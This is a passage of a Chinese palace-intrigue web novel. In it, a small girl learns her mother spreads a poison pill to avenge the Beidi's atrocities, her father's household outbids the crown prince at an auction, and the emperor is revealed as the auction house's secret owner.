冷若华叹息道:“这件事你别管了,你不知道北狄皇室对你娘做过些什么事,你娘那人睚眦必报,不会放过他们的。” “…”是,没经他人苦,莫劝他人善。 但是,有仇报仇有怨报怨,没必要用这种毒丸子牵连无辜的人吧? 现在毒丸子都流入大夏了,以后呢? 大夏会不会也跟着沦陷? 唐蕊想起死磕近现代史的时候,那一个个泣血的字眼,汇聚交织出来的哀鸿遍野的画面,无数被鸦片残害的先辈们绝望又无助的呐喊,就浑身发寒。 “好了,拍卖会快开始了,快去找你爹吧!”冷若华不忍心见唐蕊失落的样子,开始赶人了。 唐蕊却没走,换了个问题:“师姐,你能带我去见我娘吗?我想亲自跟她谈谈。” “蕊蕊,没用的。” 冷若华无奈道:“实话跟你说吧,你娘是南蛮仅存的皇室公主…” 南蛮被北狄所灭,这还不足以让唐蕊娘愤怒。 天下合久必分,分久必合,这是常态。 唐蕊娘恨的是,北狄当年烧杀抢掠无恶不作。 南蛮子民都被他们当成了牲口,特别是女人和孩子,成了他们口中的两脚羊。 就连唐蕊娘,当初也被十几个北狄士兵… 唐蕊的娘亲眼看着自己的父皇被北狄人大卸八块。 亲眼看着自己的母后和姐妹们被北狄士兵侮辱至死。 亲眼看着南蛮的那些无知幼童和鲜活的少女,成了北狄人的食物。 唐蕊娘在姐妹的掩护下逃走,她身上背负着血海深仇。 只是杀光北狄人已经不足以解她心头之恨了。 她要让所有北狄人生不如死,日夜活在忏悔中。 所以,唐蕊娘炼制了逍遥丸,传入北狄。 现在的北狄不光是皇室在用,就连很多百姓都在用… … 唐蕊不知道是怎么回到雅间的。 她在娘亲肚子里的时候就有意识,也听过娘的声音。 很温柔,对她这个小生命很期待。 但大多数时候她都在睡觉,听得也是断断续续。 她从不知,娘亲竟然背负了这么多。 司徒澈见她拉耸着小脑瓜,不由得看向张姬。 张姬来到他身边不动声色说了两句。 “哎哟,蕊蕊这是怎么了?谁惹你不开心啦?”秦芷嫣也发现了她的神色,来到她面前蹲下,关切的看着她。 唐蕊瘪了瘪嘴,一头栽进她怀里:“母妃…” “母妃在呢,蕊蕊乖哦,谁欺负你了,告诉母妃,母妃帮你出气。”秦芷嫣抱着小团子,心疼坏了。 其他几个庶母也围了过来,七嘴八舌。 朱庶妃还去问张姬,发生了什么事。 张姬:“…” “我没事!”唐蕊接过话来,又跑到司徒澈面前,巴巴的看着他:“爹爹,你教我武功好不好?我长大后想做女将军,出兵讨伐北狄。” “好!明日开始,本王让明月教你。”张姬没有听到唐蕊和那个陌生女人交谈的话,他也不知道发生了什么。 但…那女人应该和神医谷有关吧? 又或者跟唐蕊的娘有关? 毕竟唐蕊的社交圈就那么大,一点都不难猜。 “谢谢爹爹!”唐蕊现在只想快点长大,出征北狄,这样娘就不用继续散播逍遥丸了。 司徒澈迟疑片刻,还是伸手放在她脑瓜子上,以示安慰:“讨伐北狄这事你不用操心,目前还缺一个契机。” 他回京前,北狄已经投降了,自愿成为大夏的附属国,每年上供。 一开始还好,最近两年贡品越来越次。 良驹里混杂着病马,牛羊里混杂着老牛老羊。 现在只等北狄继续飘,惹怒满朝文武和父皇,到时候免不了一番纷争。 这一次他不会再给北狄投降的机会! “咱们蕊蕊真乖,这么就知道为父分忧了。” 不明真相的朱庶妃没多想,还以为是小棉袄又开始散发温暖了。 她揉了揉自己肉肉的肚子:“既然逍遥丸是毒丸子,那咱们也没什么需要买的了吧?不如回府?” 有点饿了,想吃大猪蹄子。 臻粹阁的点心也不错,但量太少,吃不过瘾。 就那么五碟子,早被她霍霍干净了。 李姬一听不干了:“别啊,来都来了,我准备的银子都还没开始花呢,看看再走呗。” 朱庶妃无语:“可我饿了。” “这有什么!”李姬小手一挥,让侍卫招来跑堂小二,报了一大串菜名,并且豪气的扔给他十两一锭的银元宝:“给你的小费,有什么好吃的都给我上,量要足,这么大的臻粹阁,别那么小家子气。” 收到钱的小二,脸笑成了一朵花。 正拿出钱袋的司徒澈:“…” 又默默的把钱袋塞了回去。! 丢人倒没有,就是有点好奇李家的家产了。 哪天李家要是犯了错,操这个家的人必须得是他,谁抢他跟谁急。 有钱能使鬼推磨,没一会儿小二上了一大桌子好酒好菜。 朱庶妃和唐蕊看得两眼放光,大快朵颐。 拍卖会,也正式开始了。 首先出场的是一把镶嵌着血玉的匕首,看上去异常华贵。 掌柜的笑呵呵的介绍:“这可是用天外仙石打造而成,削铁如泥,吹毛断发。” 说罢,就让人演示了一下。 只见那演示之人手持匕首,轻轻一挥,面前的粗铁条瞬间断成两截,切口平滑如镜。 众人皆发出惊叹之声。 接着,掌柜的又让人取来一缕发丝,放在匕首刃口,轻轻一吹,发丝便断成两截飘落。 第62章 掌柜的,挂天灯,这银蛇鞭本夫人要了 掌柜的接着说道:“这血玉更是珍贵无比,据说有辟邪护主之效,拥有此匕首,就如同拥有了一件保命的神器啊!话不多说,现在开始起拍,五十两。” “五十五两!” 台下立刻有人叫嚷。 “五十七两!” “六十两…” 李姬瞟了一眼双眼放光的张姬:“张姐姐喜欢?” 张姬点点头,满眼赞叹:“确实是好宝贝。” 喜欢还不简单? 张姬立刻指了指侍卫:“给我叫价,这匕首我要了。” 侍卫眼尾一抽,瞅了瞅司徒澈。 见司徒澈微不可见的点了点头,这才叫价:“七十两!” 显然,这匕首的价值远不止七十两。 侍卫刚一开口,立刻就有人的价格超过了七十两。 就连太子雅间也传来了声音:“一百两!” “这么个大男人,怎么如此小气?” 张姬不满的瞪了他一眼,来到镂空窗边亲自喊:“三百两!” 整个大堂:“…” 对匕首志在必得的太子:“…” 叫价的侍卫:“…” 一会儿准备自己掏钱的司徒澈:“…” 还是算了吧,照李姬这个叫价的模式,他把璃王府卖了都付不起。 楼下看客们纷纷抬头朝这个雅间看来,只是有镂空窗当着,他们只能看到一个模糊的人影。 反观李姬能很清楚的看到他们。 太子都气乐了:“还有人敢跟孤抢东西,真是好大的狗胆。” 司徒薇赶紧开口:“父王,那个雅间好像是七皇叔一家子。” “又是老七!他怎么总爱跟孤作对?”太子磨牙,看向一旁的小厮:“继续加!” 小厮点点头,又朝窗外喊了一声:“三百一十两。” 想都没想便要继续加价的李姬,被张姬一把捂住了嘴。 张姬无语:“算了,我不要了,三百两,这匕首不值这么多。” “走开!这是钱的问题吗?是我们璃王府的面子问题!” 李姬疯起来谁都拦不住,掰开她的爪子,直接朝下面喊道:“掌柜的,给本姑娘挂天灯!” “好嘞,好嘞,贵客您稍等!”掌柜笑得合不拢嘴,赶紧给一旁边的小二使眼色。 小二立刻拿了个大灯笼,用木叉子举起来,挂在雅间窗户旁边,并高声唱道:“天字一号,挂天灯嘞~” 挂天灯,代表着不管你出多少,我都跟,每次加价一千两! 朱庶妃见唐蕊面露好奇,一边吃一边给她讲解。 唐蕊擦了擦嘴巴,又问道:“那要是别人恶意抬价呢?” 朱庶妃小手一摊:“那就不要了呗,天灯可以随时取下来。” 唐蕊:“…”还是跟现代的点天灯有点区别。 但…也很奇怪啊! 拍卖的行规和模式,这个时代为何会有? 李姬懒懒的扶了扶自己的发髻,蔑视的看了一眼下面密密麻麻的人头:“本夫人看谁还要抢。” 下面一片鸦雀无声,谁都没敢再开口。 太子却要气炸了,颤抖的指着自己的小厮:“喊,给孤喊,孤倒要看看,璃王府有多少银钱。” “父王!”司徒薇眼皮一跳,赶紧道:“您别忘了,我们来这是为了逍遥丸的,不是为了这把匕首啊!” 太子闻言冷静下来。 是啊! 他是为了拍到逍遥丸,送给父皇做生辰贺礼。 怎么能被璃王府的疯女人刺激了? “算了…”太子最后还是咬牙作罢! 掌柜的见无人加价,最后笑着宣布:“恭喜天字一号的客人,这把仙石匕首,归你们了。” 李姬轻哼一声,这还差不多。 张姬擦了擦脑门的冷汗,开始查看自己的荷包了。 一千三百多两银子… 完蛋! 她好像没有这么多银子啊! 司徒澈早就装作不存在了,跟着唐蕊一起开始吃东西,两耳不闻窗外事。 他不在,别找他! “瞧你那样,我说了送你就送你,不需要你掏银子!”李姬瞥了张姬一眼,没好气道。 等小二把匕首送上来后,随意扔给了张姬。 张姬无奈道:“那就谢谢你了,以后需要我办什么事,说一声便罢!” 李姬摆摆手:“自家姐妹,无需客气!” 唐蕊一擦嘴巴,跑过来抱住了李姬的腿:“李庶母,缺腿部挂件吗?我可以哦。” 李姬闻言咯咯笑,抱起唐蕊:“蕊蕊乖,看看喜欢什么,庶母给你买。” “李庶母真好,我爱你!”唐蕊吧唧一口亲她脸上。 这可是真富婆,抱大腿还需要犹豫吗? 不! 一点都不需要! 李姬也不嫌油,笑得花枝招展的:“蕊蕊真乖!” 第二件拍品很快上场! 那是一把银光闪闪的长鞭。 掌柜的笑道:“这是失传已久的银蛇鞭,习武之人应该都听说过它的名字,我就不多做介绍了。下面起拍,三百两。” 懂的人秒懂,看着那银蛇鞭狂流口水! 银蛇鞭? 这竟然是银蛇鞭? 就连张姬都移不开眼了。 唐蕊好奇道:“张庶母,银蛇鞭是什么?” “是我大夏唯一的女将军用过的武器,用银线和传说中的天蚕丝交织而成,轻便灵活,犹如灵蛇,称之为银蛇鞭。只不过传说这银蛇鞭,随着女将军战死也失去了下落,没想到会出现在这里。” 张姬说罢,突然想起:“银蛇鞭适合女子,蕊蕊不是要学武?用这武器正好!” … 同一时间,太子雅间。 司徒薇也向太子透露了想要这鞭子的意思。 太子没好气道:“一个女子,耍什么鞭子?不成体统!” 司徒薇甜甜一笑:“父王,大夏不是没出过女将,女儿已经跟师傅学武半年有余了,以后父王坐镇皇宫,女儿也能为父王效犬马之劳,驻守边境,保父王江山社稷。” 这话说得,好像她的父王已经登基了似的。 偏偏太子就吃这一套,克制不住嘴角上扬:“好,不愧是孤的女儿,有志气。” 说着,朝一旁的小厮使了个眼色。 小厮点点头,来到窗边正要叫价,就听天字一号那个女人的声音再次响起:“掌柜的,挂天灯,这银蛇鞭本夫人要了。” 小厮:“…” 太子直接黑了脸,猛的站起身来到窗边,朝对面喊道:“你们别太过分,都没人开始出价,你又挂天灯?” 第63章 王爷分明是看不起妾身 对面李姬嚣张的声音传来:“怎么的?有规矩说要等人叫价了才能挂天灯吗?本夫人有钱,不行?” 李家或许会忌惮太子,但李姬可不怕。 她的男人是璃王,是皇帝最宠爱的儿子,会怕一个不如璃王受宠的太子吗? 再说了,这雅间这么多女人呢,太子咋知道是她李姬在说话? 这时,另外一个雅间,辰王的声音也传来:“你要是有钱,你也可以挂天灯啊!” 另一个雅间的睿王也吱声了:“没钱还这么理直气壮的,爷长见识了。” 他们显然都知道,这个雅间里是太子。 太子也听出了他们的声音,被他们气得差点吐血,手指着他们雅间的方向,浑身颤抖却说不出话来。 司徒薇见状,连忙上前拉住太子的衣袖,轻声劝道:“父王,莫要生气,女儿不要就是了。” “都怪你!”太子挥开她,恶狠狠道:“要不是你非吵吵着要这破鞭子,孤会出丑?” “…”神经病啊,自己没钱,怎么还怪起我来了? 司徒薇心里吐槽,脸上却诚惶诚恐,赶紧跪下:“父王,女儿知错了。” “哼!”太子黑着脸走回去坐下,也没让她起来。 司徒薇咬了咬唇瓣,只能继续跪着。 因为李姬的财大气粗,银蛇鞭都没人叫价,直接被送到了屋里。 唐蕊摸了摸银蛇鞭,很是喜欢,朝李姬露出一个大大的笑容:“李庶母,谢谢你哦,送我这么贵重的礼物。” “区区一千多两银子而已,算什么贵重?”李姬毫不在意。 她可是带足了银票,这些对她而言不过九牛一毛。 已经吃饱了,还在继续吃的司徒澈:“…” 心累,不想说话,也不知道该说什么。 以后坚决不能带李姬出来买东西,或是参加拍卖。 太伤自尊了! 接下来,一件又一件拍品送上了台,但十有八九都被李姬包圆了。 台下的宾客从一开始的震惊,到羡慕,又到麻木。 李姬不光是给自己买,还给府里的女人们都送了礼物。 都不需要她们开口要,只要是李姬觉得她们用得着的,都会拍下来。 秦芷嫣得了五匹浮光锦,顾侧妃得了得了一双苏绣绿玉锦鞋。 朱庶妃得了一家酒楼,就在京都市中心的位置。 张姬除了匕首,还得了一把红缨枪。 就连司徒澈都得了三幅名家字画。 最后李姬还拍了一个山庄,送给唐蕊。 众人:“…” 知道李姬财大气粗,可没想到这么粗。 最踏马气人的是,李姬这货一边拍,还一边翻着拍卖品册子,不停嘀咕:“一样值钱都没有。” 璃王府的众人:“…” 李姬,你别在这拉仇恨了行不? 我们真有点嫉妒了。 璃王府自家人都这样,更别说太子了,好几次差点被气晕。 但凡他看上的,璃王府那女子总要抢,分明是在针对他这个当朝太子。 老三老五和老六没事还要阴阳他几句,一个个幸灾乐祸。 特别是那三幅明老的字画… 明老已经过世,那三幅字画可是绝迹的珍品啊! 今天他来臻粹阁,一是为了逍遥丸,二就是为了这三幅字画啊! 太子叫来小厮,已经气得有气无力了:“去,打听一下,璃王府那叫价的女子是谁!” “…”璃王府的事哪儿那么好打听啊? 咱们在璃王府的探子,现在都还在璃王府刷恭桶呢! 小厮斟酌道:“小的听说,皇商李家的女儿在璃王府为侍妾,应该是她吧?” 司徒薇眉头一皱,沉思片刻摇了摇头:“不一定。” “哦?”太子问道:“除了李家的女儿,璃王府还有别的女子有如此财力?” 司徒薇越想越觉得自己的想法是对的,一脸严肃道:“父王,璃王也是有璃王妃的,像咱们东宫,也是母妃执掌中馈,你觉得母妃是个什么样的人?” 太子:“…” 秦芷媃? 秦芷媃能是什么好东西? 就连秦芷嫣这个璃王妃的嫁妆都被她占了,更别说他宫中其他女人的好物件。 太子不是不知道这事,但他只愿意护着陈姬,不愿管其他女人的破事儿。 太子皱眉:“你是说,璃王妃占了李姬的钱?刚刚跟孤叫板的是璃王妃?” 司徒薇煞有其事的点点头,也不知道是为了彰显自己的与众不同,还是为了凸显自己的聪明才智:“肯定是,自古以来正室和侍妾水火不容,怎么会让她们留这么多私产,刚刚肯定是璃王妃在喊价。” “好她个秦家女,敢跟孤作对,她不会以为有璃王给她撑腰,就可以不把孤放在眼里了吧?” 太子信了,气得七窍生烟。 连带着对秦芷媃都有了意见。 “好,很好!”太子怒极反笑:“孤倒要看看,她这个璃王妃能做多久。” 被太子莫名恨上的秦芷嫣还不知道这事,爱不释手的摸着那五匹浮光锦:“回去后我就让人裁衣,王爷,还有姐妹们,都有。” 这可是浮光锦啊! 平时里只能看到贡品,没想到臻粹阁也能买到。 唐蕊也宝贝似的拿着山庄的地契,已经在想要怎么规划了。 民以食为天,还是种粮食吧! 最好是红薯和玉米。 这个时代好像还没看到这两样东西,回头出去找找,看能不能找到。 朱庶妃也看着自己的酒楼地契,不停傻乐:“我要把我喜欢吃的,全都安排上,把酒楼做成全京城最好的一家酒楼。” 顾若雪摸着精美的苏绣鞋子,饶是人淡如菊的她也难掩眼底的惊喜。 张姬忘我的抚摸着长枪,一副跃跃欲试的样子。 如果不是地方不对,她都想舞一舞了。 只有司徒澈,显然还没习惯自己的女人送他如此贵重的礼物,轻咳几声一本正经道:“回府后,本王把银子补给你。” 李姬闻言不乐意了:“王爷,你是在看不起妾身吗?” 司徒澈:“本王没…” “那补什么?”李姬打断他的话,轻哼一声侧头过去:“妾身有花不完的银子,还缺这三瓜两枣?王爷分明是看不起妾身。” 第64章 臻粹阁幕后东家 “…”我真没这意思啊! 司徒澈扶额,最后还是接受了她的好意:“那…本王给你提提位份吧?” “提位份?”李姬眼睛一亮。 其他女人也放下手里的东西齐齐看了过来,一个个双眼冒金光。 被这么多双眼睛看着,司徒澈有种头皮发麻的感觉。 好像…只提一个也不太好… 王妃说了,一碗水要端平! 司徒澈轻咳一声,努力淡定:“没错,回府后李姬、张姬,升为庶妃。朱庶妃升为侧妃,明日本王就入宫跟父皇说这事。” 反正按照祖制,一个王爷可以有两个侧妃和四个庶妃。 这么安排,他这碗水算是端平了吧? “妾身多谢王爷…”几个女人欣喜不已,齐齐谢恩。 顾侧妃一开始还不平衡的,但…她这侧妃,再往上升就是王妃了。 秦芷嫣对她不错,她也发过誓,不会背叛秦芷嫣,只能作罢。 谁知,这时秦芷嫣却注意到了她的神色,笑着提醒司徒澈:“王爷,其他妹妹们都有位份可升,顾妹妹可没有,依妾身看,不如让她去库房寻一件心仪之物,作为补偿,如何?” 司徒澈点头:“还是王妃心细。” 顾若雪心里那点不满彻底消散,柔柔一笑:“多谢王爷,多谢王妃姐姐。” 唐蕊看看这个,看看那个,叉腰腰大声宣布:“爹爹,母妃,庶母们,我好开心,整个京都没有哪一家能像我们家这样和睦啦。” 童言童语,让一屋子的人笑出声来。 是啊! 放眼整个京都,没有哪一家能像璃王府这般和睦了。 这是好事,也是幸事。 “下面,将是最后一件拍品。”外面传来掌柜的声音,屋里几人脸上的笑意瞬间消失无踪。 因为他们都知道,所谓的逍遥丸是毒丸子。 而太子,要把这毒丸子拍下来送给皇帝。 果然,在掌柜说了底价一千两后,太子那雅间第一个吱声:“一千五百两。” 好家伙,一加就是五百两? 太子这是势在必得啊! 司徒澈没打算凑热闹,还想着明日要进宫一趟,给皇帝说说这逍遥丸的事,让他有所防范。 然而,就在太子加价后,睿王紧随其后:“两千两。” 秦芷嫣闻言一愣:“睿王…这是怎么回事?不是告诉了他逍遥丸是毒丸子么?为何他还要拍?” 到底是自己兄弟,司徒澈只是一想就明白过来,淡淡一笑:“八成是想让太子出出血。” 他猜的没错。 睿王一开口,襄王也慢条斯理凑了个热闹:“两千五百两。” 先是璃王妃,后又是这二人… 太子快要裂开了,拉开喊价的小厮站在窗边,说出来的话都带着一丝咬牙切齿:“你们二人要跟我过不去?” 襄王笑眯眯道:“这是什么话?拍卖拍卖,价高者得,你想要,那就加价呗。” 最好把东宫掏空! 辰王也道:“掌柜的,你们这臻粹阁怎么回事?还不许别人加价了?” “没有没有,我们臻粹阁可没这个规矩!”掌柜的赶紧否认,并且还义正言辞看向太子那个雅间:“这位贵人,您再胡搅蛮缠,扰乱拍卖秩序,小的只能让人把您请出去了。” 太子闻言怒道:“你敢?你知道我是谁吗?” 掌柜的冷声道:“不管你是谁,都一样,我们臻粹阁,也不是谁都能欺负的。” 换言之,你要是以为我们背后没人,那就大错特错了。 太子呵呵:“是吗?那我倒想问问,你们臻粹阁背后之人是谁?一直都不现身,藏头露尾算什么好汉?” 掌柜的面无表情脸,完全不给一点面子:“无可奉告,贵人不信大可试试。” 太子:“…” 好好好! 过后他就要好好查查,这臻粹阁背后的狗东西是谁。 任他权势再大,还能大得过皇室不成? 同一时间,丞相府,正在熬夜加班整理账册的顾楠聿打了个好几个喷嚏。 正准备入睡的皇帝也打了个好几个喷嚏。 皇帝:“…”谁在骂朕? 顾楠聿:“…”谁在骂我? “少爷,是不是着凉了?小的给你熬碗参汤?”磨墨的小厮问道。 顾楠聿摇摇头:“算了,臻粹阁的拍卖该结束了,一会儿你去把账册拿回来,我整理后交给皇上。” “是!”小厮是佩服自家少爷的。 谁能想到,他才是相府藏得最深的一个保皇党? 哦不,说保皇党都不合适,应该是与皇帝狼狈为奸。 顾楠聿早一年前就被皇帝看中,暗中为皇帝办事了。 可笑太子家那庶女还大言不惭,说少爷想入仕只能抱太子大腿。 笑死! 皇帝的大腿不比太子的大腿粗壮雄伟吗? … 臻粹阁。 太子气的同时,还在加价。 睿王和襄王知道他对这逍遥丸志在必得,不停的哄抬价格。 最后,就连辰王都加入了。 司徒澈一看,三个兄弟都加入了,他不加入多少有点不合群。 于是…场面就变成了四个王爷恶整太子。 小小一粒逍遥丸,价格已经被哄抬到了八千两白银。 太子眼睛猩红,咬牙喊出:“一千两!黄金!” 众人哗然! 一千两黄金? 那可是一万两雪花银啊! 这小小一粒药丸子,值这么多吗? “哈哈哈…阁下果然财大气粗!”睿王哈哈一笑,突然话音一转:“那我就出,两千两黄金吧!” 襄王摇着扇子笑嘻嘻:“你们都财大气粗,只有我穷吗?掌柜的,三千两黄金,这逍遥丸我要定了。” “四千两,黄金!”辰王人狠话不多,他大约知道太子有多少家底呢,这还不够。 司徒澈明显也知道,摸着下巴想了想,一下子把价格抬到了最高:“我对逍遥丸也志在必得,不好意思了。掌柜的,七千两黄金。” “天啊,楼上五个雅间里的到底是谁?这么有钱?” “唉…比不过啊!” “这里是京都,达官贵人何其多?咱们算什么。” … 一楼的客人们七嘴八舌,说什么的都有。 当然,除了王爷们和太子,还有不少来参加拍卖的朝臣。 第65章 作死的太子 他们早就听出了几个王爷和太子的声音,就算没有听出来,听出来的同伴也会提醒他们。 一看王爷们和太子干起来了,一个个都不吱声。 太子眼前阵阵发黑,好几次都差点昏过去。 七千两黄金! 七千两! 说是他的全部家当都不为过了。 司徒薇听得眼皮直跳,不停劝他:“父王,要不算了吧?” “算?这次算了,孤不是会成为他们的笑柄?” 这已经不是银子的问题了,事关他的面子,东宫的面子。 他不可能让! 小厮也劝道:“太子殿下,我们一共就只带了八万两银票,这…” “加,继续加,不是还有一万两能加吗?” 太子已经快要疯了,挥开小厮,压下喉咙里的甜腥,扯着嗓子朝外面喊:“八千两!黄金!” 外面彻底安静下来,每个人都注视着这五个雅间雕花窗,等着几个王爷再次加价。 然而… 司徒澈轻笑一声:“君子不夺人所好,既然阁下怎么想要,那就让给阁下吧!” 辰王听懂了,也道:“我也不加了!” 睿王:“唉…我倒是想加,但是没银子了,没办法啊没办法…” 襄王:“啧啧啧…阁下真是财大气粗,在下甘拜下风!” 太子一个没忍住,张口吐出一口老血,脑子像是被谁锤了一拳,嗡嗡响。 “父王!”司徒薇大惊失色。 小厮也急得不行,掐着太子的人中! 但这个时候,小二已经把那八千两黄金的逍遥丸送上来了,笑眯眯的递了过去:“客官,这是您的逍遥丸。” 太子看到那托盘里小小的一粒丹药,终于成功被气晕。 小二急了:“喂,客官您别啊!” 先给钱! 给钱知道不? … 拍卖会圆满结束,几个王爷回去的路上坐着一辆马车。 璃王府的女眷们坐了另外一辆,不时能听到王爷团那辆马车传来的笑声。 看来今晚恶整太子,爽到他们了。 唐蕊趴在车窗看着前面那辆马车,小大人似的叹了口气。 秦芷嫣笑道:“蕊蕊,怎么啦?” “没什么。”唐蕊摇摇头,说出了自己的心里话:“我只是觉得哦,太子皇叔真是人嫌狗厌,几个兄弟都不喜欢他,做人好失败。” 人家清朝九龙夺嫡,老四身边都还有个老十三助阵呢! 老八身边也有老九和老十打辅助呢! 反观太子,形单影只,孤军奋战,还被一群兄弟针对。 实在是太可怜了! 顾若雪现在说起太子就恶心,冷着脸道:“那是他活该!小人行径,德不配位,只会引起众怒!” “就是就是!”朱庶妃… 哦不,现在应该称呼朱侧妃了。 朱侧妃显然也不喜欢太子,猛点头:“以前我还待嫁闺中的时候,我爹本是太子一党,想让我去给太子做侧妃的。结果你们猜怎么着?” “这个我知道!”张庶妃淡淡道:“太子说你肥胖如猪,不堪入目。” “对啊!”朱侧妃一拍大腿,一想起这茬就气得牙痒痒的:“太子这狗东西,居然在大庭广众下这么说我,还说我爹是在羞辱他,给我爹都气晕了。我也是,那段时间都没人敢上门提亲。后来拖到二十三岁,被皇上指给璃王,因为年岁太大,还只做了个庶妃。我爹大小是个户部尚书吧?我作为嫡女,就算是皇子正妃都勉强做得,再不济,侧妃也行吧?结果因为年纪问题就做了个庶妃,你们知道我多难受吗?” “你也是?我也是啊!”李庶妃闻言一愣,顿时像是找到了知音似的,拉着朱侧妃的手嘀咕:“以前我爹本来看重的是太子,每年没少孝敬他,最后花了十万两银子,想给我谋一个太子庶妃的位置。结果太子那狗东西,银子收了,却不愿意收我,还说一介商贾,上不得台面,怎配为太子庶妃。” “结果我爹就想着,我们李家一介商贾,谋求储君庶妃之位是有点过分,于是退而求其次,只想着让我做太子侍妾。” “你猜怎么着?人家太子还是不愿意,说我们李家不配。” “笑死,我们李家怎么就不配了?就算不配,那把银子还给我们啊!每年都在李家拿银子,还嫌弃李家,这是什么道理?” 朱侧妃惊呼:“他这么不要脸啊?” 李庶妃猛点头:“可不是嘛,那时候给我爹都气病了,自此也断了东宫的孝敬。” 她没说的是,这些孝敬每个月都给她了,让她帮衬着璃王,要以夫为天。 别看李庶妃每天买买买,财大气粗,其实每个月都把部分银子攒在一边,就等着哪天璃王急需呢! 朱侧妃和李庶妃相见恨晚,聊得越来越投机,骂得太子狗血淋头。 顾若雪脸色微微发白,再一次更加清晰的见识了太子的人品! 一想到喜欢了这狗东西这么多年,她又想吐了。 唐蕊也听得叹为观止。 人不要脸天下无敌啊这是! 怪不得人缘那么差,原来都是作的。 估计现在皇爷爷都在想着找个借口废太子了吧? 最重要的是…便宜爹的女人们,原来都是太子不要的哇? 唐蕊猜得没错,皇帝确实想废太子,而且已经开始行动了。 逍遥丸这东西,确实是北狄探子流进大夏的。 但进入臻萃阁,却是皇帝默认的。 … 半个多月后,璃王府几个女人的地位都提了一圈。 圣旨也早就下来了,以后璃王府暂时没了侍妾,只有侧妃和庶妃。 不仅如此,司徒澈也入宫去告诉了皇帝,逍遥丸的危害。 皇帝让他不要声张。 给皇帝送毒丸子,这个废太子的罪名可还行? 皇帝有点迫不及待了,准备等到生辰那天,就废了太子。 司徒澈看着自家老爹那一脸跃跃欲试的表情,心中狐疑:“父皇,你是不是做了什么?” “朕能做什么?”皇帝闻言立刻一表正经起来:“这事朕已经知道了,你回去吧!” “…”还说没搞事情? 他怎么有点不信呢? 想是这么想,司徒澈却没细问。 他的老爹,嘴巴严得很,不想说谁也问不出来。 司徒澈离开了皇宫,准备自己去查。 皇帝也暗暗期待着自己生辰那日到来,废太子。 可没想到的是,生辰还没到,太子又作妖了。 太子终于查到了臻粹阁幕后的东家,直接闹到了皇帝那里。 宫里来人传唤顾楠聿,吓了顾家人一跳。 顾楠聿倒是很淡定,说皇上估计是有事询问他,不然来叫他的就不是公公,而是羽林军了。 顾丞相一想也是。 那么问题来了,皇上为何会召唤他的孙儿呢? 顾楠聿阴恻恻一笑:“秘密!” 顾丞相:“…”你跟谁学的这么笑啊? 有点吓人喂。 第66章 知法犯法 顾楠聿跟随公公入了宫! 赶巧的是,唐蕊也进宫了。 她听司徒安说,皇帝喜欢喝珍珠奶茶,于是这天趁着国学监沐休,专门让容嬷嬷做了很多珍珠奶茶带去宫里,还特意做了几个小蛋糕,给皇帝解解馋。 顺便再给司徒安和贵妃娘娘送一些过去。 司徒安一直照顾她,贵妃娘娘知道她爱吃,偶尔还会让司徒安多带些宫中的膳食去国学监,给她尝尝。 人家有意交好,唐蕊也不能不识好歹。 谁知,她来到书房的时候,才发现这里的气氛很是…不对劲… 太子义愤填膺站在一边。 顾楠聿跪着,眼眸微垂,长长的睫毛撒下大片阴影,让人看不清他眼底的情绪。 皇帝面无表情,不怒自威。 只是看到唐蕊进来时,皇帝眼底才透露出一丝温软之色:“昭华,何事要见朕啊?” “呃…皇爷爷,昭华做了些小点心,还有奶茶,想给您和贵妃阿奶尝尝哦!”唐蕊说罢,眼珠溜溜一转,扫了一眼跪得笔直的顾楠聿:“皇爷爷,这是怎么了哇?顾楠聿惹你生气了吗?” “…”哪里是顾楠聿惹朕生气,明明是太子这个逆子。 查来查去,居然查到朕的人头上。 皇帝看向太子,目光晦涩。 前些年一直在跟北狄打仗,还要防着东临国偷袭,大夏招兵买马,国库消耗得很厉害。 偏偏大夏在他的治理下国泰民安,群臣不是两袖清风的清官,就是贪得不多的贪官,让他想抄个家充盈一下国库都找不着对象, 于是皇帝就想着,这样下去不行,得赚点钱充盈一下国库。 但士农工商,他堂堂一国之君,去做生意像什么话? 皇帝最后决定,得找个靠得住的人去经手这些事。 龙隐卫不行,不够圆滑,不是做生意的料。 陈德福…拉倒吧,真派他去,那天下人不都知道他这个皇帝在做生意吗? 一次偶然的机会,皇帝换上便服去国学监溜达,遇到了顾楠聿。 交谈之中,他发现此子谈吐不俗,学识渊博,完全不像这个年纪的孩子。 最重要的是,此子心肠蔫坏蔫坏,却有底线。 这不就是妥妥的生意人嘛? 于是,他就选中了这个孩子,替他暗中打理生意。 这…才有了现在的臻萃阁。 包括逍遥丸事件,也是他为了废太子做的一个局。 现在倒好,顾楠聿被太子挖出来了。 皇帝此时很想爆一句国粹。 平时让太子办点正经事,他是一点也办不好。 查这些不该查的事儿,他那股子聪明劲儿倒是立刻显灵了。 皇帝摆摆手,觉得跟唐蕊说了,她也不会懂:“他没犯错。昭华,你去找贵妃吧,朕一会儿就过去。” “哦,好叭!”唐蕊可没胆子忤逆一国之君,只能尽力给小伙伴求情:“但是皇爷爷,顾楠聿还是个小娃娃哦,如果他犯了什么大错,还请皇爷爷手下留情,蕊蕊不想失去这么好的小伙伴。” 说到最后,唐蕊努力挤出了两滴马尿。 看着这张酷似老七的包子脸,皇帝心情也莫名好了些,唇角带着一丝笑意。 只是,他还没来得及答应,太子不合时宜的声音传来:“昭华,大人的事小孩子就不要多管了。顾楠聿犯的是大错,理应重罚,以儆效尤。” 唐蕊好奇道:“那…顾楠聿犯了什么错呢?” 太子冷声道:“大夏明令禁止,官员及其家属禁止经商谋利,顾楠聿触犯大夏律例,乃是臻粹阁幕后东家,这不是触犯大夏律例是什么?更何况,他一年前通过了院试,乃是秀才之身,罪加一等。” “哇!”唐蕊看着顾楠聿惊叹出声,眼珠瞪得老大,重点瞬间偏到了北极:“顾楠聿,臻粹阁是你开的哇?你还是秀才?” 秀才喂! 她早就翻过师傅的书阁,发现三国的科举制度都和现代历史中的差不多,都分院试,乡试,会试和殿试。 院试也称童试,通过了就是秀才,也称之为生员。 一旦进入这个阶层,享有免徭役、见官不跪等特权。 虽然比起另外三场考试,院试算是最简单的。 但还是有很多学子七老八十,考了不知道多少年,都还考不上秀才。? 顾楠聿才多大,就是秀才老爷了哇? “顾楠聿,好厉害哦,你是这个!”唐蕊朝他竖起大拇指。 一向淡定的顾楠聿都被她夸得有些不好意思了,别扭的移开视线:“也没什么难的,随便考考,没想到就中了。” “哈哈哈…”皇帝显然也很欣赏顾楠聿这一点,笑着夸道:“你随便考考,就能考个院式第二,那要是认真考考,乡试和会试还能难住你?” 顾楠聿拱手,荣辱不惊:“皇上谬赞!” 